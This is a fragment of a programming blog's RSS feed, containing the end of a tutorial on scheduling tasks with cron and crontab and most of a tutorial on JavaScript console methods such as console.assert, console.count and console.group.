href=&#34;https://stackoverflow.com/questions/2135478/how-to-simulate-the-environment-cron-executes-a-script-with&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;following solution on stackoverflow&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* * * * * env &amp;gt; ~/cronenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Wait just one second for it to execute, and then start experimenting in this new shell.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;env - &lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;cat ~/cronenv&lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt; /bin/sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crontab-guru-a-very-useful-tool&#34;&gt;Crontab Guru, a very useful tool&lt;/h2&gt;&#xA;&lt;p&gt;As you have already noticed, sometimes the configuration can get too complicated and if we don&amp;rsquo;t do it right there can be consequences; simple, such as our script changing wallpaper every minute instead of every hour; or serious, such as our backup not being performed as often as desired. Imagine that, without wanting to, you scheduled the database backup once a year instead of once every twenty-four hours, you are going to have a hard time if the database fails.&lt;/p&gt;&#xA;&lt;p&gt;To avoid annoyances there is a useful tool called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://crontab.guru&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;crontab.guru&lt;/a&gt;&#xA;. This tool will take care of translating your configuration into simple, easy to understand English. If you have doubts about whether the configuration you just typed is really the right one, you can type it into the web page and it will show you the result in English.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/images/crontab_guru.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/images/crontab_guru.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of crontab guru&#34; width=&#34;1089&#34; height=&#34;909&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;If you want to apply cron and crontab, I have a post where I use them to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-program-an-automatic-wallpaper-changer-in-python/&#34;&gt;change wallpaper automatically using Python.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In this post I&amp;rsquo;ll teach you how to program tasks to be executed every certain amount of time, it could be as complex as you want, just by modifying a simple file, the crontab file, which is available in every popular Linux distribution, if not all of them.&lt;/p&gt;&#xA;&lt;p&gt;Many times we want to run a script or a command every so often, for example when we want to perform periodic backups of a database, send your subscribers a reminder email, or perhaps delete cache files every so often. Cron, in conjunction with Crontab allows you to run a task every so often.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>You don&#39;t know how to use Javascript console</title>
      <link>https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/</link>
      <pubDate>Wed, 15 Jan 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;I bet you have ever used &lt;em&gt;console.log()&lt;/em&gt; to debug errors when programming in javascript. But you may not know that &lt;em&gt;console&lt;/em&gt; has other useful methods besides &lt;em&gt;log()&lt;/em&gt;. In this post I am going to place some of the most useful methods that I have found on the web. In this entry I am going to put some of the most useful methods I have found on the web.&lt;/p&gt;&#xA;&lt;h2 id=&#34;consoleinfo-displays-information&#34;&gt;Console.info Displays information&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.info()&lt;/em&gt; performs the function of displaying information&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.info(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Info message&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/info.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/info.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Print with console.info in console&#34; width=&#34;372&#34; height=&#34;39&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;consolewarn-displays-warning-messages&#34;&gt;console.warn Displays warning messages&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.warn()&lt;/em&gt; displays a warning message, with yellow background&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.warn(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Shows a warning message&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/warn.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/warn.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Print with console.warn in console&#34; width=&#34;382&#34; height=&#34;40&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;consoleerror-displays-an-error-message&#34;&gt;console.error Displays an error message&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.error()&lt;/em&gt; shows us an error message&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.error(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Shows an error message&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/error.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/error.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Error in console printed with console.error&#34; width=&#34;365&#34; height=&#34;44&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;consoleassert-evaluates-whether-an-expression-is-true-or-displays-an-error&#34;&gt;Console.assert Evaluates whether an expression is true, or displays an error&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.assert()&lt;/em&gt; takes two arguments: the first is an expression, the second a message to display if the expression is false.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.assert(&lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This message is being shown because first argument is False&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Assertion failed&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; This message is being shown because first argument is False&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.assert(&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This message will not be shown because the first argument is true&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/assertFalse.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/assertFalse.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Console printout with console.assert ara false&#34; width=&#34;619&#34; height=&#34;42&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/assertTrue.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/assertTrue.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Console printout with console.assert for true&#34; width=&#34;614&#34; height=&#34;42&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;consolecount-event-account&#34;&gt;Console.count, event account&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.count()&lt;/em&gt; receives a label that we define, each time it is executed it will show us how many times this function has been executed with the given label.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.count(&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.count(&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.log(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;You already have a counter for 3 and 7&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    console.count(i)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;You already have a counter &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; and &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;print-an-object-as-json&#34;&gt;Print an object as JSON&lt;/h2&gt;&#xA;&lt;p&gt;For this example we create an object&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; specs &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {ram&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;HyperX FURY DDR4 8GB&amp;#34;&lt;/span&gt;, processor&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Intel i7 8700K&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hdd&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Seagate Barracuda 3.5&amp;#39;&amp;#39;, 1TB&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We use &lt;em&gt;console.dir()&lt;/em&gt; to print the object in its JSON representation&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.dir(specs)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ff5c57&#34;&gt;…&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hdd&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Seagate Barracuda 3.5&amp;#39;&amp;#39;, 1TB&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;processor&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Intel i7 8700K&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ram&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;HyperX FURY DDR4 8GB&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;prototype&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Object&lt;/span&gt; { &lt;span style=&#34;color:#ff5c57&#34;&gt;…&lt;/span&gt; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/dir.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/dir.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Console printout with console.dir&#34; width=&#34;677&#34; height=&#34;124&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;consolegroup-group-messages&#34;&gt;Console.group Group messages&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.group()&lt;/em&gt; marks the beginning of the messages we want to group and receives as argument the title of the grouping, while console.groupEnd() marks the end of this grouping.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.group(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;grouped messages&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.log(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Log&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.info(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Info&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.groupEnd()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Mensajes agrupados&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; Log&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; Info&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/group.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/group.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Printout of a group with console.group in console&#34; width=&#34;181&#34; height=&#34;91&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;measure-time-with-consoletime&#34;&gt;Measure time with console.time&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.time()&lt;/em&gt; will start a timer that will stop when we use console.timeEnd(). Which is useful for us to measure everything that is executed in between these two functions.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span 